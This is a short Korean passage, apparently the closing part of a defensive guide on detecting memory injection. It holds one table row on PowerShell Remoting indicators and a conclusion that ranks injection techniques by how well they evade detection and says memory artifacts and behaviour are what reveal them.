| PS Remoting 개입 | WinRM 서비스 상태 + 포트 5985/5986 연결 | PS 이벤트 원격 세션 기록 |
↓
다운로드 링크
가이드에서 사용된 모든 도구 링크입니다.
// 마치며
Memory Injection 기법은 점점 파일 흔적을 줄이는 방향으로 발전했습니다.
DLL Injection(파일 있음) → Reflective DLL(파일 없음) → Hollowing(프로세스 위장) → Doppelgänging(파일시스템 속임) 순으로 탐지 회피 수준이 높아집니다.
그러나 어떤 기법이든 메모리에서 동작하는 이상 PAGE_EXECUTE_READWRITE 같은 흔적이 남습니다.
탐지의 핵심은 파일을 찾는 것이 아니라 행동과 메모리 상태를 보는 것입니다.
DLL Injection(파일 있음) → Reflective DLL(파일 없음) → Hollowing(프로세스 위장) → Doppelgänging(파일시스템 속임) 순으로 탐지 회피 수준이 높아집니다.
그러나 어떤 기법이든 메모리에서 동작하는 이상 PAGE_EXECUTE_READWRITE 같은 흔적이 남습니다.
탐지의 핵심은 파일을 찾는 것이 아니라 행동과 메모리 상태를 보는 것입니다.